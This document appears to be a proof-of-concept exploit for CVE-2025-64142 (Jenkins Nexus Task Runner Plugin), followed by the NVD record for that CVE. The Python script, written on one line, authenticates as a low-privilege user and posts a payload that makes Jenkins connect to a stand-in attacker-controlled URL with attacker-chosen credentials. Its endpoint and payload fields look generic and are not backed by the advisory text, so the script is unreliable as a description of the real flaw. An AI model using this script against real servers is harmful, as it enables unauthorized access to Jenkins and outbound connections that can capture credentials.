CVE-2025-64142

# CVE-2025-64142 PoC - Jenkins Nexus Task Runner Plugin Missing Permission Check # This PoC demonstrates how an attacker with Overall/Read permission can abuse the vulnerability import requests import json # Configuration JENKINS_URL = "http://target-jenkins-server:8080" ATTACKER_URL = "http://attacker-controlled-server:8000/collect" ATTACKER_CREDS = "username:password" # Authentication (requires Overall/Read permission) session = requests.Session() # Replace with actual credentials or use API token session.auth = ('low_privilege_user', 'password') # Construct malicious request to trigger HTTP connection payload = { "name": "nexus-task", "url": ATTACKER_URL, "credentials": ATTACKER_CREDS, "action": "connect" } # Send request through Jenkins API api_endpoint = f"{JENKINS_URL}/plugin/nexus-task-runner/connect" response = session.post(api_endpoint, json=payload) print(f"Response Status: {response.status_code}") print(f"Response Body: {response.text}") # Note: This PoC is for educational and testing purposes only

{"cve": {"id": "CVE-2025-64142", "sourceIdentifier": "[email protected]", "published": "2025-10-29T14:15:58.843", "lastModified": "2025-11-04T22:16:40.860", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A missing permission check in Jenkins Nexus Task Runner Plugin 0.9.2 and earlier allows attackers with Overall/Read permission to connect to an attacker-specified URL using attacker-specified credentials."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:jenkins:nexus_task_runner:*:*:*:*:*:jenkins:*:*", "versionEndIncluding": "0.9.2", "matchCriteriaId": "EF9BAB0C-78DC-434E-879B-95FABADA874B"}]}]}], "references": [{"url": "https://www.jenkins.io/security/advisory/2025-10-29/#SECURITY-3550", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2025/10/29/2", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}